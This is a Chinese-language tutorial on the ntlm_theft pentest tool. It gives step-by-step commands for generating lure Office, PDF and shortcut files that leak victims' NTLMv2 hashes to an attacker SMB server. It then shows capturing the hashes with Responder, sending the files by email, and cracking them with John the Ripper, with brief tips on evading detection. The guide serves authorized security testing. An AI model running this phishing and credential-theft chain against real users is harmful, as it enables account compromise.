在网络安全领域,尤其是渗透测试和红队活动中,窃取目标系统的 NTLMv2 哈希是一种常见的技术手段。这些哈希可以被用于进一步的攻击,例如密码破解或“传递哈希”(Pass-the-Hash)攻击。为了简化这一过程,Jacob Wilkin 开发了一款名为 ntlm_theft
的工具,项目地址如下:https://github.com/Greenwolf/ntlm_theft。该工具能够快速生成多种类型的文件,用于诱导目标用户泄露其 NTLMv2 哈希。本文将详细介绍如何使用 ntlm_theft
,包括其功能、安装方法、使用场景以及实际操作步骤。
一、什么是 ntlm_theft?
ntlm_theft
是一款由 Python 编写的开源工具,旨在帮助安全研究人员和渗透测试人员生成多种类型的文件,这些文件在被目标用户打开或交互时,会触发对攻击者控制的 SMB(Server Message Block)服务器的连接请求。由于 Windows 系统默认会在这种情况下自动发送用户的 NTLMv2 哈希,攻击者可以通过捕获这些哈希来实现进一步的利用。
该工具的主要特点包括:
- 多样化的文件类型:支持生成多种文件格式,例如
.docx
、.xlsx
、.pdf
、.rtf
等,共计 21 种不同的文件类型(截至最新版本)。 - 简单易用:通过命令行参数即可快速生成所需文件,无需手动配置复杂的攻击载荷。
- 针对性设计:主要面向内部网络钓鱼测试,也可以用于外部钓鱼(如果目标网络允许出站 SMB 流量)。
- 兼容性:在现代 Windows 系统(如 Windows 10)上经过测试,部分文件类型甚至对旧系统仍然有效。
ntlm_theft
的典型使用场景包括:
- 渗透测试中快速验证目标网络的安全配置。
- 测试防病毒软件和邮件网关对恶意文件的检测能力。
- 红队活动中模拟真实的钓鱼攻击。
二、安装与环境准备
要在本地使用 ntlm_theft
,需要完成以下准备工作:
-
克隆 GitHub 仓库
使用git
命令将ntlm_theft
仓库下载到本地:git clone https://github.com/Greenwolf/ntlm_theft.git
然后进入项目目录:
cd ntlm_theft
-
安装依赖
ntlm_theft
需要 Python 3 环境,并且部分功能依赖额外的库。对于生成.xlsx
文件的攻击,需要安装xlsxwriter
:pip3 install xlsxwriter
其他功能无需额外依赖,只需确保 Python 3 已正确安装。
-
准备 SMB 捕获工具
ntlm_theft
本身仅负责生成文件,捕获 NTLMv2 哈希需要配合工具如Responder
或Impacket
的 SMB 服务器。例如,安装并运行Responder
:sudo apt install responder sudo responder -I eth0
Responder
将监听网络接口,捕获目标发送的 NTLMv2 哈希。
三、使用 ntlm_theft 生成文件
ntlm_theft
的核心功能是通过命令行参数生成特定类型的文件。以下是基本用法和示例:
1. 基本命令格式
python3 ntlm_theft.py -g <文件类型> -s <服务器IP> -f <文件名>
-g
:指定要生成的文件类型,可以是all
(生成所有类型)、modern
(仅生成适用于现代 Windows 的类型)或具体类型(如docx
、xlsx
)。-s
:指定攻击者控制的 SMB 服务器 IP 地址。-f
:指定生成文件的基础名称,工具会在此基础上添加后缀。
2. 示例操作
示例 1:生成所有类型文件
假设攻击者的 Kali Linux 机器 IP 为 192.168.1.100
,我们希望生成所有支持的文件类型:
python3 ntlm_theft.py -g all -s 192.168.1.100 -f test
运行后,工具会在 test
文件夹中生成多种文件,例如:
test/test.scf
test/test-(includepicture).docx
test/test-(externalcell).xlsx
test/test.pdf
每种文件的用途和触发方式会在生成时显示,例如:
(BROWSE)
:浏览文件夹时触发。(OPEN)
:打开文件时触发。(OPEN IN WINDOWS MEDIA PLAYER ONLY)
:需用特定软件打开。
示例 2:生成适用于现代 Windows 的文件
某些文件类型(如 .scf
)在现代 Windows 上已失效,可以使用 modern
参数筛选:
python3 ntlm_theft.py -g modern -s 192.168.1.100 -f meeting
输出示例:
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
示例 3:生成特定类型文件
如果只想生成 Excel 文件:
python3 ntlm_theft.py -g xlsx -s 192.168.1.100 -f bonus
输出:
Created: bonus/bonus-(externalcell).xlsx (OPEN)
四、实际攻击流程
以下是一个完整的攻击示例:
-
启动 Responder
在攻击者机器上运行:sudo responder -I eth0
-
生成恶意文件
使用ntlm_theft
生成一个.docx
文件:python3 ntlm_theft.py -g docx -s 192.168.1.100 -f report
-
分发文件
将生成的report/report-(includepicture).docx
通过邮件或共享文件夹发送给目标用户。 -
捕获哈希
当目标用户打开文件时,Word 会尝试连接192.168.1.100
的 SMB 服务器,Responder
将捕获类似以下的输出:[SMB] NTLMv2-SSP Hash : user::DOMAIN:1122334455667788:ABCDEF0123456789ABCDEF0123456789:0101000000000000...
-
破解哈希
使用工具如John the Ripper
或Hashcat
对捕获的哈希进行破解:john --format=netntlmv2 hash.txt
五、使用场景与注意事项
使用场景
- 内部钓鱼:测试员工对恶意文件的警惕性。
- 安全评估:检查网络是否允许出站 SMB 流量。
- 防御测试:验证防病毒软件或邮件网关的检测能力。
注意事项
- 合法性:仅在授权的渗透测试中使用,切勿用于非法目的。
- 网络限制:外部攻击需目标网络允许出站 SMB 流量(端口 445)。
- 检测规避:生成的文件可能被某些高级安全工具标记,需根据目标环境调整策略。
六、总结
ntlm_theft
是一款功能强大且易于使用的工具,通过自动化生成多种类型的 NTLMv2 哈希窃取文件,大大提高了渗透测试的效率。无论是用于内部安全评估还是红队演练,它都能帮助安全从业者快速验证目标系统的弱点。同时,配合 Responder
等工具,它可以无缝融入完整的攻击链。
如果你对网络安全测试感兴趣,不妨尝试 ntlm_theft
,并根据实际需求调整其应用方式。通过合理使用这一工具,不仅能提升测试效率,还能为企业网络安全提供更有价值的洞察。